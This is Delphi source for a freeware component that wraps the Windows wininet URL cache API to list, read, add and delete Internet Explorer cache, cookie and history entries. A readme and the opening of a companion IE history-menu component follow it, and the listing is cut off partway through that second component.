CACHEGROUP_ATTRIBUTE_STORAGE = $00000020;

CACHEGROUP_FLAG_NONPURGEABLE = $00000001;

CACHEGROUP_FLAG_GIDONLY = $00000004;

CACHEGROUP_FLAG_FLUSHURL_ONDELETE = $00000002;

CACHEGROUP_SEARCH_ALL = $00000000;

CACHEGROUP_SEARCH_BYURL = $00000001;

CACHEGROUP_TYPE_INVALID = $00000001;

CACHEGROUP_READWRITE_MASK = CACHEGROUP_ATTRIBUTE_TYPE or

CACHEGROUP_ATTRIBUTE_QUOTA or

CACHEGROUP_ATTRIBUTE_GROUPNAME or

CACHEGROUP_ATTRIBUTE_STORAGE;

GROUPNAME_MAX_LENGTH = 120;

GROUP_OWNER_STORAGE_SIZE = 4;

type

PInternetCacheTimeStamps = ^TInternetCacheTimeStamps;

TInternetCacheTimeStamps = record

ftExpires: TFileTime;

ftLastModified: TFileTime;

end;

PInternetCacheGroupInfo = ^TInternetCacheGroupInfo;

TInternetCacheGroupInfo = record

dwGroupSize: DWORD;

dwGroupFlags: DWORD;

dwGroupType: DWORD;

dwDiskUsage: DWORD;

dwDiskQuota: DWORD;

dwOwnerStorage: array[0..GROUP_OWNER_STORAGE_SIZE - 1] of DWORD;

szGroupName: array[0..GROUPNAME_MAX_LENGTH - 1] of AnsiChar;

end;

TEntryInfo = record

SourceUrlName: string;

LocalFileName: string;

EntryType: DWORD;

UseCount: DWORD;

HitRate: DWORD;

FSize: DWORD;

LastModifiedTime: TDateTime;

ExpireTime: TDateTime;

LastAccessTime: TDateTime;

LastSyncTime: TDateTime;

HeaderInfo: string;

FileExtension: string;

ExemptDelta: DWORD;

end;

TGroupInfo = record

DiskUsage: DWORD;

DiskQuota: DWORD;

OwnerStorage: array[0..GROUP_OWNER_STORAGE_SIZE - 1] of DWORD;

GroupName: string;

end;

TContent = record

Buffer: Pointer;

BufferLength: Integer;

end;

TFilterOption = (NORMAL_ENTRY,

STABLE_ENTRY,

STICKY_ENTRY,

COOKIE_ENTRY,

URLHISTORY_ENTRY,

TRACK_OFFLINE_ENTRY,

TRACK_ONLINE_ENTRY,

SPARSE_ENTRY,

OCX_ENTRY);

TFilterOptions = set of TFilterOption;

TOnEntryEvent = procedure(Sender: TObject; var Cancel: Boolean) of object;

TOnGroupEvent = procedure(Sender: TObject; GroupID: GROUPID; var Cancel: Boolean) of object;

TSearchPattern = (spAll, spCookies, spHistory, spUrl);

TIECache = class(TComponent)

private

FSearchPattern: TSearchPattern;

FOnEntry: TOnEntryEvent;

FOnGroup: TOnGroupEvent;

GrpHandle: THandle;

H: THandle;

FCancel: Boolean;

FFilterOptions: TFilterOptions;

FFilterOptionValue: Cardinal;

procedure SetFilterOptions(const Value: TFilterOptions);

procedure UpdateFilterOptionValue;

procedure GetEntryValues(Info: PInternetCacheEntryInfo);

procedure ClearEntryValues;

protected { Protected declarations }

public

GroupInfo: TGroupInfo;

EntryInfo: TEntryInfo;

Content: TContent;

constructor Create(AOwner: TComponent); override;

function CreateGroup: INT64;

function DeleteGroup(GroupID: INT64): DWORD;

function GetGroupInfo(GroupID: INT64): DWORD;

function SetGroupInfo(GroupID: INT64): DWORD;

function AddUrlToGroup(GroupID: INT64; Url: string): DWORD;

function RemoveUrlFromGroup(GroupID: INT64; Url: string): DWORD;

function FindFirstGroup(var GroupID: Int64): DWORD;

function FindNextGroup(var GroupID: Int64): BOOL;

function RetrieveGroups: DWORD;

function CreateEntry(Url, FileExtension: string; ExpectedFileSize: DWORD; var FName: string): DWORD;

function DeleteEntry(Url: string): DWORD;

function FindFirstEntry(GroupID: INT64): DWORD;

function FindNextEntry: DWORD;

function CloseFindEntry: BOOL;

procedure RetrieveEntries(GroupID: INT64);

function GetEntryInfo(Url: string): DWORD;

function GetEntryContent(Url: string): DWORD;

function SetEntryInfo(Url: string): DWORD;

function getLibraryFound: boolean;

// function CopyFileToCache(UrlName, FileName: Pchar): string;

function CopyFileToCache(Url, FileName: string; CacheType: DWORD; Expire: TDateTime): DWORD;

procedure ClearAllEntries;

{ Public declarations }

published

property FilterOptions: TFilterOptions read FFilterOptions write SetFilterOptions;

property SearchPattern: TSearchpattern read FSearchpattern write FSearchPattern;

property LibraryFound: boolean read getLibraryFound;

property OnEntry: TOnEntryEvent read FOnEntry write FOnEntry;

property OnGroup: TOnGroupEvent read FOnGroup write FOnGroup;

{ Published declarations }

end;

procedure Register;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

implementation

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

type

tFindFirstUrlCacheGroup =

function(dwFlags, dwFilter: DWORD;

lpSearchCondition: Pointer; dwSearchCondition: DWORD;

var Group: Int64; lpReserved: Pointer): THandle; stdcall;

tFindNextUrlCacheGroup =

function(hFind: THandle; var GroupID: Int64; lpReserved: Pointer): BOOL; stdcall;

tSetUrlCacheGroupAttribute =

function(gid: Int64; dwFlags, dwAttributes: DWORD; var lpGroupInfo: TInternetCacheGroupInfo;

lpReserved: Pointer): BOOL; stdcall;

tGetUrlCacheGroupAttribute =

function(gid: Int64; dwFlags, dwAttributes: DWORD;

var GroupInfo: TInternetCacheGroupInfo; var dwGroupInfo: DWORD; lpReserved: Pointer): BOOL; stdcall;

var

FindFirstUrlCacheGroup: tFindFirstUrlCacheGroup;

FindNextUrlCacheGroup: tFindNextUrlCacheGroup;

GetUrlCacheGroupAttribute: tGetUrlCacheGroupAttribute;

SetUrlCacheGroupAttribute: tSetUrlCacheGroupAttribute;

const

winetdll = 'wininet.dll';

var

winInetLibFound: boolean;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function initializeWinInet: boolean;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

fPointer: tFarProc;

hInst: tHandle;

begin

if winInetLibFound then result := true else

begin

result := false;

hInst := loadLibrary(winetdll);

if hInst > 0 then

try

fPointer := getProcAddress(hInst, 'FindFirstUrlCacheGroup');

if fPointer <> nil then

begin

FindFirstUrlCacheGroup := tFindFirstUrlCacheGroup(fPointer);

fPointer := getProcAddress(hInst, 'FindNextUrlCacheGroup');

if fPointer <> nil then

begin

FindNextUrlCacheGroup := tFindNextUrlCacheGroup(fPointer);

fPointer := getProcAddress(hInst, 'GetUrlCacheGroupAttributeA');

if fPointer <> nil then

begin

GetUrlCacheGroupAttribute := tGetUrlCacheGroupAttribute(fPointer);

fPointer := getProcAddress(hInst, 'SetUrlCacheGroupAttributeA');

if fPointer <> nil then

begin

SetUrlCacheGroupAttribute := tSetUrlCacheGroupAttribute(fPointer);

fPointer := getProcAddress(hInst, 'FindFirstUrlCacheEntryExA');

if fPointer <> nil then

result := true;

end;

end;

end;

end;

except

end;

end;

end; // function initializeWinInet : boolean;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function FileTimeToDateTime(Ft: TFileTime): TDateTime;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

St: TSystemTime;

lft: TFileTime;

begin

Result := 0;

if FileTimeToLocalFiletime(Ft, lft) then

if FileTimeToSyStemTime(lft, st) then

Result := SystemTimeTODateTime(st);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function DateTimeToFileTime(Dt: TDateTime): TFileTime;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

St: TSystemTime;

lft: TFileTime;

begin

DateTimeToSystemTime(Dt, ST);

if SystemTimeToFileTime(st, lft) then LocalFileTimeToFileTime(lft, Result);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

// TIECache

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

constructor TIECache.Create(AOwner: TComponent);

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

inherited;

Content.Buffer := nil;

ClearEntryValues;

// Identical to URLCACHE_FIND_DEFAULT_FILTER

FFilterOptions := [NORMAL_ENTRY, COOKIE_ENTRY, URLHISTORY_ENTRY,

TRACK_OFFLINE_ENTRY, TRACK_ONLINE_ENTRY, STICKY_ENTRY];

end; // constructor TIECache.Create(AOwner: TComponent);

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.getLibraryFound: boolean;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

result := initializeWinInet;

end; // function TIECache.getLibraryFound : boolean;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.RemoveUrlFromGroup(GroupID: INT64; Url: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

if not SetUrlCacheEntryGroup(Pchar(Url), INTERNET_CACHE_GROUP_REMOVE, GroupID, nil, 0, nil)

then Result := GetLastError;

end;

function TIECache.AddUrlToGroup(GroupID: INT64; Url: string): DWORD;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

if not SetUrlCacheEntryGroup(Pchar(Url), INTERNET_CACHE_GROUP_ADD, GroupID, nil, 0, nil)

then Result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.CopyFileToCache(Url, FileName: string; CacheType: DWORD; Expire: TDateTime): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

FName: string;

Ext: string;

F: file of Byte;

Size: DWORD;

begin

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

if not FileExists(FileName) then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

AssignFile(F, FileName);

Reset(F);

Size := FileSize(F);

CloseFile(F);

Ext := ExtractFileExt(FileName);

Ext := Copy(Ext, 2, Length(ext));

Result := CreateEntry(Url, Ext, Size, FName);

if Result <> S_OK then Exit;

if not windows.copyfile(PChar(FileName), Pchar(FName), FALSE) then begin

Result := GetLastError;

Exit;

end;

if not CommitUrlCacheEntry(Pchar(Url), Pchar(Fname), DateTimeToFileTime(Expire), DateTimeToFileTime(now), CacheType, nil, 0, Pchar(Ext), 0)

then Result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.CreateEntry(Url, FileExtension: string; ExpectedFileSize: DWORD; var FName: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

PC: array[0..MAX_PATH] of Char;

begin

PC := '';

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

if not CreateUrlCacheEntry(Pchar(url), ExpectedFileSize, Pchar(FileExtension), PC, 0) then result := GetLastError else

FName := StrPas(PC);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.GetGroupInfo(GroupID: INT64): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

info: TInternetCacheGroupInfo;

dw: DWORD;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

dw := Sizeof(TInternetCacheGroupInfo);

if not GetUrlCacheGroupAttribute(GroupID, 0, CACHEGROUP_ATTRIBUTE_GET_ALL, info, dw, nil)

then Result := GetLastError else

with GroupInfo do begin

DiskUsage := info.dwDiskUsage;

DiskQuota := info.dwDiskQuota;

move(info.dwOwnerStorage, OwnerStorage, Sizeof(OwnerStorage));

GroupName := info.szGroupName;

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.SetGroupInfo(GroupID: INT64): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

info: TInternetCacheGroupInfo;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

info.dwGroupSize := SizeOf(Info);

info.dwGroupFlags := CACHEGROUP_FLAG_NONPURGEABLE;

info.dwGroupType := CACHEGROUP_TYPE_INVALID;

info.dwDiskQuota := GroupInfo.DiskQuota;

move(GroupInfo.OwnerStorage, info.dwOwnerStorage, Sizeof(info.dwOwnerStorage));

move(GroupInfo.Groupname[1], info.szGroupName[0], length(GroupInfo.Groupname));

if not SetUrlCacheGroupAttribute(GroupID, 0, CACHEGROUP_READWRITE_MASK, info, nil)

then Result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.CreateGroup: INT64;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

Result := CreateUrlCacheGroup(0, nil);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.DeleteGroup(GroupID: INT64): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

if not DeleteUrlCacheGroup(GroupID, CACHEGROUP_FLAG_FLUSHURL_ONDELETE, nil)

then Result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.SetEntryInfo(Url: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

info: TInternetCacheEntryInfo;

fc: DWORD;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

fc := CACHE_ENTRY_ATTRIBUTE_FC +

CACHE_ENTRY_HITRATE_FC +

CACHE_ENTRY_MODTIME_FC +

CACHE_ENTRY_EXPTIME_FC +

CACHE_ENTRY_ACCTIME_FC +

CACHE_ENTRY_SYNCTIME_FC +

CACHE_ENTRY_EXEMPT_DELTA_FC;

with info do begin

CacheEntryType := EntryInfo.EntryType;

dwHitRate := EntryInfo.HitRate;

LastModifiedTime := DateTimeToFileTime(EntryInfo.LastModifiedTime);

ExpireTime := DateTimeToFileTime(EntryInfo.ExpireTime);

LastAccessTime := DateTimeToFileTime(EntryInfo.LastAccessTime);

LastSyncTime := DateTimeToFileTime(EntryInfo.LastSyncTime);

dwReserved := EntryInfo.ExemptDelta;

end;

if not SetUrlCacheEntryInfo(Pchar(url), info, fc) then

Result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.GetEntryInfo(Url: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

D: DWORD;

T: PInternetCacheEntryInfo;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

GetUrlCacheEntryInfoEx(Pchar(Url), nil, @D, nil, nil, nil, 0);

GetMem(T, D);

try

if GetUrlCacheEntryInfoEx(Pchar(Url), T, @D, nil, nil, nil, 0)

then GetEntryValues(t) else Result := GetLastError;

finally

Freemem(T, D);

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.GetEntryContent(Url: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

Hr: THandle;

D: Cardinal;

T: PInternetCacheEntryInfo;

begin

result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

D := 0;

T:=nil;

RetrieveUrlCacheEntryStream(PChar(Url), T^, D, TRUE, 0);

Getmem(T, D);

try

hr := THandle(RetrieveUrlCacheEntryStream(PChar(Url), T^, D, TRUE, 0));

if Hr <> 0 then begin

Content.BufferLength := T^.dwSizeLow + 1;

GetEntryValues(T);

Getmem(Content.Buffer, Content.BufferLength);

Fillchar(Content.Buffer^, Content.BufferLength, #0);

if not ReadUrlCacheEntryStream(Hr, 0, Content.Buffer, T^.DwSizeLow, 0)

then Result := GetLastError;

end;

finally

Freemem(T, D);

end;

UnLockUrlCacheEntryStream(Hr, 0);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.FindNextGroup(var GroupID: Int64): BOOL;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then

begin

Result := false;

Exit;

end;

Result := FindNextUrlCacheGroup(GrpHandle, GroupID, nil);

GetGroupInfo(GroupID);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.FindFirstGroup(var GroupID: Int64): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

GrpHandle := FindFirstUrlCacheGroup(0, 0, nil, 0, GroupID, nil);

if GrpHandle <> 0 then result := S_OK else

Result := GetLastError;

if result = S_OK then GetGroupInfo(GroupID);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.RetrieveGroups: DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

GroupID: INT64;

Res: DWORD;

NewGroup, Cancel: Boolean;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

Cancel := False;

NewGroup := True;

Res := FindFirstGroup(GroupID);

if Res = S_OK then begin

GetGroupInfo(GroupID);

if Assigned(FOngroup) then FOnGroup(self, GroupID, FCancel);

while not Cancel and NewGroup do begin

NewGroup := FindNextGroup(GroupID);

GetGroupInfo(GroupID);

if Assigned(FOngroup) and NewGroup then FOnGroup(self, GroupID, Cancel);

end;

end else

result := GetLastError;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.DeleteEntry(Url: string): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

Result := S_OK;

if not initializeWinInet then exit;

if not DeleteUrlCacheEntry(PChar(Url)) then

Result := GetLastError

else ClearEntryValues;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.ClearAllEntries;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

hr: DWord;

begin

if not initializeWinInet then Exit;

if FindFirstEntry(0) = S_OK then begin

repeat

DeleteEntry(EntryInfo.SourceUrlName);

hr := FindNextEntry;

until hr = ERROR_NO_MORE_ITEMS;

end;

FindCloseUrlCache(H);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.ClearEntryValues;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then Exit;

Content.Buffer := nil;

Content.BufferLength := 0;

with EntryInfo do begin

sourceUrlName := '';

localfilename := '';

entryType := 0;

UseCount := 0;

Hitrate := 0;

LastModifiedTime := 0;

ExpireTime := 0;

LastAccessTime := 0;

LastSyncTime := 0;

FileExtension := '';

FSize := 0;

HeaderInfo := '';

ExemptDelta := 0;

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.GetEntryValues(Info: PInternetCacheEntryInfo);

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then Exit;

with entryInfo do

begin

sourceUrlName := info^.lpszSourceUrlname;

localfilename := info^.lpszLocalFilename;

entryType := info^.CacheEntryType;

UseCount := info^.dwUseCount;

Hitrate := info^.dwHitRate;

LastModifiedTime := FileTimeToDateTime(info^.LastModifiedTime);

ExpireTime := FileTimeToDateTime(info^.ExpireTime);

LastAccessTime := FileTimeToDateTime(info^.LastAccessTime);

LastSyncTime := FileTimeToDateTime(info^.LastSyncTime);

FileExtension := info^.lpszFileExtension;

FSize := (info^.dwSizeHigh shl 32) + info^.dwSizeLow;

HeaderInfo := StrPas(PChar(info^.lpHeaderInfo));

ExemptDelta := info^.dwReserved;

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.FindFirstEntry(GroupID: INT64): DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

const

Pattern: array[TSearchPattern] of PChar = (nil, 'Cookie:', 'Visited:', '');

var

T: PInternetCacheEntryInfo;

D: DWORD;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

H := 0;

D := 0;

FindFirstUrlCacheEntryEx(Pattern[SearchPattern], 0, FFilterOptionValue, GroupID, nil, @D, nil, nil, nil);

GetMem(T, D);

try

H := FindFirstUrlCacheEntryEx(Pattern[SearchPattern], 0, FFilterOptionValue, GroupID, T, @D, nil, nil, nil);

if (H = 0) then Result := GetLastError else GetEntryValues(T);

finally

FreeMem(T, D)

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.FindNextEntry: DWORD;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

T: PInternetCacheEntryInfo;

D: DWORD;

begin

Result := S_OK;

if not initializeWinInet then

begin

Result := ERROR_FILE_NOT_FOUND;

Exit;

end;

D := 0;

FindnextUrlCacheEntryEx(H, nil, @D, nil, nil, nil);

GetMem(T, D);

try

if not FindNextUrlCacheEntryEx(H, T, @D, nil, nil, nil)

then Result := GetLastError else GetEntryValues(T);

finally

FreeMem(T, D)

end;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.RetrieveEntries(GroupID: INT64);

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

var

HR: DWORD;

begin

if not initializeWinInet then Exit;

FCancel := False;

hr := FindFirstEntry(GroupID);

if (hr = S_OK) then

begin

if Assigned(FOnEntry) then with EntryInfo do FOnEntry(self, FCancel);

while (hr = S_OK) and not FCancel do

begin

hr := FindNextEntry;

if (hr = S_OK) and Assigned(FOnEntry) then with EntryInfo do FOnEntry(self, FCancel);

end;

end;

FindCloseUrlCache(H);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function TIECache.CloseFindEntry: BOOL;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

if not initializeWinInet then

begin

Result := false;

Exit;

end;

Result := FindCloseUrlCache(H);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.SetFilterOptions(const Value:

TFilterOptions);

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

FFilterOptions := Value;

UpdateFilterOptionValue;

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure TIECache.UpdateFilterOptionValue;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

const

acardFilterOptionValues: array[TFilterOption] of Cardinal = (

$00000001, $00000002, $00000004, $00100000, $00200000,

$00000010, $00000020, $00010000, $00020000);

var

i: TFilterOption;

begin

FFilterOptionValue := 0;

if (FFilterOptions <> []) then

for i := Low(TFilterOption) to High(TFilterOption)

do

if (i in FFilterOptions) then

Inc(FFilterOptionValue, acardFilterOptionValues[i]);

end;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

procedure Register;

//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

begin

RegisterComponents('Internet', [TIECache]);

end;

initialization

wininetLibFound := initializeWinInet;

end.


IE历史记录菜单控件

***************

Drop the component and a mainmenu-component on a form. Set Historymenu's Mainmenu-property to your mainmenu and add a single line of code:

procedure TForm1.FormCreate(Sender: TObject);

begin

HistoryMenu1.CreateMenu;

end;

Properties:

Caption

Menutitle to appear in mainmenu. (Default: Localized).

MenuPos

Where to place the History-menu in mainmenu.

MainMenu

Your mainmenu (ex. MainMenu1)

Events:

OnUrlSelected(Sender : TObject; Url: String);

Trigger when a Url is selcted in the History-menu.

Methods:

ReBuildMenu

Call this function to rebuild the menu.

Feel free to contribute your enhancements and/or bug fixes...

NB: Ver 1.00 of the history-menu has only been tested in Delphi 5. Please e-mail me a copy for upload, if you modify the component for Delphi 3 or 4!

Enjoy!

***************

//***********************************************************

// HistoryMenu ver 1.00 (July 27, 2000) *

// *

// For Delphi 5 *

// Freeware Component *

// by *

// Per Linds?Larsen *

// per.lindsoe@larsen.dk *

// *

// *

// Documentation and updated versions: *

// *

// http://www.euromind.com/iedelphi *

// http://www.intelligo.net/iedelphi *

//***********************************************************

unit HistoryMenu;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Registry, menus, IEUtils, SHellApi, shlobj, imglist, ActiveX;

type

PItem = ^TItem;

TItem = record

ID, FullID: PItemIDList;

Folder: Boolean;

Created: Boolean;

end;

TOnUrlSelectedEvent = procedure(Sender: TObject; Url: string) of object;

THistoryMenu = class(TComponent)

private

{ Private declarations }

FCaption: string;

FMenuPos: Integer;

FMainMenu: TMainmenu;

FOnUrlSelected: TOnUrlSelectedEvent;

protected

procedure AddMenu(Menu: TMenuItem; MenuTag: Integer);

procedure AddDummy(menu: TMenuItem);

procedure MenuClick(Sender: TObject);

procedure AddEmpty(menu: TMenuItem);

procedure DestroyList;

procedure BuildMenu;

{ Protected declarations }

public

{ Public declarations }

procedure CreateMenu;

procedure RebuildMenu;

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

property MainMenu: TMainMenu read FMainMenu write FMainMenu;

property Menupos: Integer read FMenuPos write FMenuPos;

property Caption: string read FCaption write FCaption;

